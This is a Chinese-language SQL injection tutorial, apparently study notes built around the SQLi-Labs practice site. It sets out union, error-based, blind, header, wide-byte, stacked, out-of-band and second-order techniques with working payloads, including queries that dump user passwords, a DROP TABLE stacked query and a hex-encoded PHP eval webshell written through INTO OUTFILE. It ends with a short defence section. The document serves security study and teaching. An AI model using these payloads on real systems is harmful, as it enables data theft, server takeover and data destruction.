一、SQL注入相关知识点
1.内置库Information_schema
1.1schemata表
schema_name该字段记录了所有数据库的库名。
1.2tables表
TABLE_SCHEMA字段存储MySQL服务下所有数据库的库名,TABLE-NAME字段存储所有表名。
1.3columns表
TABLE_SCHEMA字段存储MySQL服务下所有数据库的库名,TABLE-NAME字段存储所有表名,COLUMN_NAME记录所有字段名。
2.MySQL语句
- 查询当前数据库版本:select version();
- 查询当前数据库:select database();
- 查询当前路径:select @@basedir;
- 查询当前数据库用户:select user();
- 查询当前MySQL路径:select @@datadir;
- 查询连接数据库的用户:select session_user();
- 查询服务器的系统版本:select @@Version_compile_os;
- 查询数据库:select schema_name from information_schema.schemata;
- 查询表名:select table_name from information_schema.tables where table_schema='库名' limit0,1;
- 查询列名:select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1;
3.MySQL函数
3.1联合查询union()
两边的字段数量必须一致
3.2延时函数sleep()
3.3计算长度length()
3.4计算查询对象的总数count()
3.5拼接字符串concat()
3.6特殊拼接字符串group_concat()
使用分隔符将一个或多个字符串连接成一个字符串,第一个参数为分隔符
3.7截取字符串的一部分substr()/mid()
3.8将字符串转化为ascii值ascii()/ord()
3.9对数据进行十六进制编码hex()
3.10条件判断if(A,B,C)
A为条件,若成立执行B,不成立则执行C
3.11限制查询数量limit
3.12报错函数updatexml()/extractvalue()
extractvalue(A,B)
updatexml(A,B,C)
4.MySQL读取写入
4.1读取本地文件load_file()
4.2 写入文件into outfile()/into dumpfile()
select "hello word" into outfile 'D:\phpstudy_pro\WWW\1.txt';
写入条件:
- 必须对⽬录有写的权限,这样才能写⼊成功
- 必须知道⽹站得绝对路径。
- 在数据库配置⽂件(my.ini)中,配置项必须=空: secure_file_priv=''
5.补充
# POST注释
--+ GET注释
/**/ 绕waf
二、SQL手工注入
1.注入原理
web应用程序没有对用户输入得内容做严格过滤,导致用户输入了恶意得SQL语句传递到后端,后端程序拼接SQL语句带入到数据库中查询产生SQL注入漏洞。
2.注入条件
- 参数是可控的,前端传入后端的参数的内容是用户可以控制的。
- 参数被带⼊数据库进⾏查询,也就是传⼊的参数被拼接到SQL语句中并被带⼊到数据库进⾏查询。
3.注入危害
- 数据库信息泄露:泄露数据库中存放的数据、用户隐私等。
- 获取WebShell:当权限为root且知道绝对路径时,可以直接写入一句话木马到服务器。
- 网站篡改:注入出后台管理员,登录后台发布恶意数据、篡改后台数据等。
- 获取系统权限:当权限足够高时,可以获取系统主机的权限。
- 万能密码:利用特定的payload登录后台或其他页面。
- 文件读取:读取敏感文件
4.SQL注入类型
5.SQL注入判断
6.SQL注入流程
- 判断SQL注入漏洞 and 1=1 、and 1=2
- 判断字段数 order by /group by(通过报错信息来判断)
- 确定回显点 id=-1 union select 1,2,3 (id为-1保证回显为需要的数据)
- 查询数据库相关信息 union select 1,@@version,3 @@basedir/database()/user()
- 查询数据库下的表信息 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
- 查询表下的字段信息 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="" --+
- 查询字段内容 union select 1,2,group_concat(user,password) from users --+
三、SQL注入类型实操
1.数字型注入
?id=1 and 1=1 #True页面正常
?id=1 and 1=2 #False页面异常
查询信息
2.字符型注入
select username,password from uname where id ='1' and 1=1 #' 页面正常
select username,password from uname where id ='1' and 1=2 #' 页面异常
3.搜索型注入
SQL语句原型: SELECT * FROM news WHERE content like '%d%'
?name=hahaha'&submit=搜索 //错误
?name=hahaha%'--+&submit=搜索 //正常
四、SQL注入方式实操
1.union联合注入
Union 有一个十分严格的约束条件,因为是联合查询,必选保证字段数一致,即两个查询结果有相同
的列数,因此我们后面要对字段数进行判断。且页面有数据回显点
SELECT * FROM USERS WHERE ID=1 UNION select 1,2,3,4,5
2.报错注入
2.1常用函数
- extractvalue()
- updatexml()
- floor()
- exp()
- linestring()
- geometrycollection()
- multipoint()
- polygon()
- multipolygon()
- multilinestring()
- 其中原理主要是
- xpath语法错误
- BIGINT等数据类型溢出
- count()+rand()+groupby() ·导致主键冲突·
2.2updatexml()函数
语法格式:updatexml(xml_document,XPthstring,new_value)
updatexml(1,(select database()),1)
2.3extractvalue()函数
语法格式:extractvalue (XML_document, XPath_string);
and extractvalue(1,concat(0x7e,(SQL语句),0x7e))--+
2.4主键冲突
rand() //随机函数
floor() //取整数
count() //汇总函数
group by //分组语句
BUG:当在一个聚合函数,比如count函数后面如果使用分组语句就会把查询的一部分以错误形式显示出来
select count(*),concat((select user()),(floor(rand() * 2))) as a from information_schema.tables group by a
五、布尔盲注
1.布尔注入流程
2.ASCII码表
3.布尔盲注攻击
3.1 数据库类型判断
//判断是否是 Mysql数据库
?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
?id=1' and exists(select*from sysobjects) --+
3.2 判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
?id=1' and (select count(table_name) from information_schema.tables where
table_schema=database())>3 --+
id=1' and (select count(table_name) from information_schema.tables where
table_schema='security')=4--+
3.3判断数据的ascii值
// 判断username字段的数据的第一个字符的ascii值
?id=1'and (ascii(substr((select username from users limit 0,1),1,1)))=68--+
?id=1'and (ascii(substr((select password from users limit 0,1),1,1)))=68--+
六、时间盲注
1.相关函数
sleep() 网页延迟n秒后,输出结果
benchmark(A,B) 延迟n秒后输出结果 # 第一个是执行的次数,第二个是要执行的函数或者表达式
if(a,b,c) if判断句,a为条件,b、c为执行语句;如果a为真就执行b,a为假就执行c;
ascii()函数/ord()函数 将某个字符串转化为ascii值
length()函数 获取字符串的长度
substr()/mid()函数
limit 0,1
2.实操
2.1判断是否存在漏洞
?id=1' and sleep(10) --+
?id=1' and if(1=2,1,sleep(10))--+
2.2判断数据库长度并猜测数据库名
'and if(length(database())=8,sleep(4),1)--+ // 判断数据库长度
?id=1' and if((ascii(substr(database(),1,1))=115),sleep(10),0)--+ //猜解数据库的名称第一位
2.3 依次获取其表的数量、⻓度与表的名称
?id=1' and if((select count(table_name) from information_schema.tables where table_schema='security')=4,sleep(4),1) --+ //获取表的数量
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(10),0)--+ //第一个表的长度
?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema='security' limit 3,1),1,1))=117,sleep(10),0)--+ //查询第四个表的表名第一位
2.4BurpSuite爆破获取ascii码
七、HTTP头部注入
PS:若请求数据包中没有空行和请求数据,需要补上(回车换行即可)
1.UA头注入
User-agent:使得服务器能够识别客户使用的系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作
系统或浏览器版本然后将其存入数据库中 ); 这里以SQLiLabs的Less-18关为例 ,其登录用户密码为dumb:dumb
在登录界面输入信息然后开启Burp Suite开始抓包先使用单引号测试是否可以成功让数据库报错
采用报错注入: ' and updatexml(1,concat('~',(database()),'~'),1) and '
2.Cookie注入
Cookie:服务端用来记录客户端的状态。由服务端产生,保存在客户端浏览器中!但服务器收集用户的Cookie信
息时会存在注入。
在登录页面输入用户账号密码信息,点击提交前开启抓包,抓到包后在抓包界面点击Forward可以获取到Cookie信息。
在Cookie字段输入单引号测试是否数据库是否可以报错,报错后利用报错注入/union注入获取当前数据库名
' union select 1,2,database()
' and updatexml(1,concat('^',(database()),'^'),1) and '
3.Referer注入
Referer:是HTTP Header的一部分,当浏览器向Web服务器发送请求的时候,一般会带上Referer字段来告诉服
务器该从哪个页面链接过来,服务器因此可以获取一些信息用于处理
登陆时开启Burp Suite抓包,在referer字段后添加单引号测试,成功报错
采用报错注入获取当前数据库名
' and updatexml(1,concat(0x7e,(database()),0x7e),0) and '
八、宽字节注入
宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两个字节。
常⻅的宽字节编码:GB2312、GBK、GB18030、BIG5、Shift_JIS等
1.漏洞条件
设定字符集为GBK
2.实例
在单引号前添加%df防止单引号被反斜杠转义。
3.注入原理
程序会使用转义符"\",对输入的特殊字符进行转义,从而让其失去作用。当数据库使用GBK编码时,会认为两个字符是一个汉字并且前一个字符的ASCII码值大于128才会到汉字范围。当输入'时,mysql转义它变成\',其中\的URL编码是%5c,我们给它前面加一个ASCII值大于128的字符%df,GBK编码就会把%df%5c看成一个宽字节形成一个汉字,通过形成汉字消除了\转义的作用,使恶意代码可以执行,即完成了宽字节注入。
4.常见URL编码
%27===单引号
%20===空格
%23===#号
%5c===\反斜杠
%df
%cf
5.宽字节注入修复
- 使用UTF-8编码
- 设置参数,character_set_client=binary
- 先调用mysql_set_charset函数设置连接所使用的字符集为GBK,在调用mysql_real_escape_string来过滤用户输入;
九、堆叠注入
1.原理
堆叠查询也叫堆叠注入,在SQL中的分号是用来表示一个sql语句的结束,试想下我们在分号结束后继续构造下一
条语句会不会一块执行?因此这个想法也就造就了堆叠注入;
2.限制条件
API
数据库引擎
只有当调用数据库函数执行多条SQL语句时才可以使用,利用mysqli_multi_query()函数
3.危害
堆叠注入的危害是很大的,可以任意使用增删改查的语句,例如删除数据库,修改数据库,添加数据库用
户;eg: select version();select database()
4.语句
新建test表:select * from users where id=1;create table test like users;
删除test表:select * from users where id=1;drop table test;
十、DNSLOG外带注入
1.限制条件
需要root权限
secure_file_priv需要为空
需要使用load_file()函数
2.第三方dnslog平台
- DNSLog Platform
- 登录 - DNSlog System
- CEYE - Monitor service for security testing
- http://admin.dnslog.link
- 登录
3.实操
十一、二次注入
1.原理
由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库中;然后提交第二次请求时与第一次提交进数据库的字符发生了作用(拼接),形成一条新的SQL语句被执行。
2.流程
3.实操
注册用户 demo' and 1=1# ,demo
十二、GetShell姿势
1.into outfile/into dumpfile
1.1限制条件
- Web⽬录具有写⼊权限,能够使⽤单引号
- 知道⽹站绝对路径(⽹站根⽬录) --->报错/查看⽹站的功能点/⽼旧的资产
- secure_file_priv没有具体值(在mysql/my.ini中查看) secure_file_priv=''
1.2 语句
一句话木马: <?php eval($_REQUEST[1]);?> (密码为1)
getshell:?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\123.php' --+
1.3实操
注入成功
访问该文件
蚁剑连接
获得后台权限
十三、SQL注入防御
1. 函数过滤,如!is_numeric 函数判断变量 id 是否为数字
2. 直接下载相关防范注入文件,通过 incloud 包含放在网站配置文件里面,如 360、阿里云、腾迅提供的防注入脚本
3. 使用白名单过滤
4. 采用 PDO 预处理
5. 使用 Waf 拦截
十四、总结
# 重点
1. Mysql得常用函数
length() count() substr() mid() ascii() concat() group_concat() if() sleep() limit ...
2. SQL注入原理
Web应用对用户输入得内容没有经过严格过滤,接收用户输入得内容拼接SQL语句带入数据库中执行 产生SQL注入。
3. SQL注入条件
- 我们对参数可控
- 我们输入得参数会拼接SQL语句带入数据库中查询
4. SQL得类型
数字型、字符型、搜索型 区别:(闭合)
5. SQL注入得执行方式
Union联合注入
-使用场景:数据有回显得时候
-使用条件:左右两边的结果字段数量必须保持一致
报错注入
-使用场景:页面上有数据库报错信息得回显
-使用函数: updatexml extractvalue、floor、exp ....
-updatexml、extractvalue的报错原理
布尔盲注
-使用场景:页面中存在正常和异常两种页面 and 1 and 0
-使用函数:count length ascii substr limit
时间盲注
-使用场景:其他方式不可用,采用时间盲注
-使用函数:count length ascii substr limit if sleep benchmake
宽字节注入
-使用场景:程序会对我们输入得特殊字符进行转移操作 ' => \' ...
-使用条件:数据库采用GBK编码、程序会对我们输入得内容进行转义、语言使用UTF-8编码
-使用方式: %df %cf
-原理
堆叠注入
-使用条件:后端执行sqL语句得函数是mysqli_multi_query()
-原理
-堆叠注入和其他注入的区别:使用执行函数不同。执行SQL语法不同
DNSLOG外带注入
-使用场景:无回显时候
-使用条件:没有禁用load_file() 以及secure_file_priv为空
-原理
二次注入
-原理
6. 万能密码得原理
本质上就是SQL原理
7. SQL注入GetShell得方式
1. into outfile into dumpfile 去写入webshell
-使用条件:secure-file_pive 为空、有写入权限、知道网站绝对路径
2. SQL注入获取后台账号密码、通过后台功能点getshell
3. --os-shell --file-wirte --file-dest (SQLMAP)
8.SQL注入防御方式
过滤和转义用户输入内容
WAF
PDO链接
9. SQL注入流程、以及相应语句
判断注入
判断字段数量
判断回显位置
获取数据库名
获取数据库下表名
获取表字段名
获取字段下数据
10. SQL注入平时怎么判断
and 1=1
and 1=2
and sleep(5)
or sleep(5)
and 1
and 0
'
11. 哪些功能点会存在SQL注入
-与数据库交互得功能点都可能存在SQL注入
-增删改查
12.mysql大于5.0可以使用内置库information_schema那小于5.0怎么办
-爆破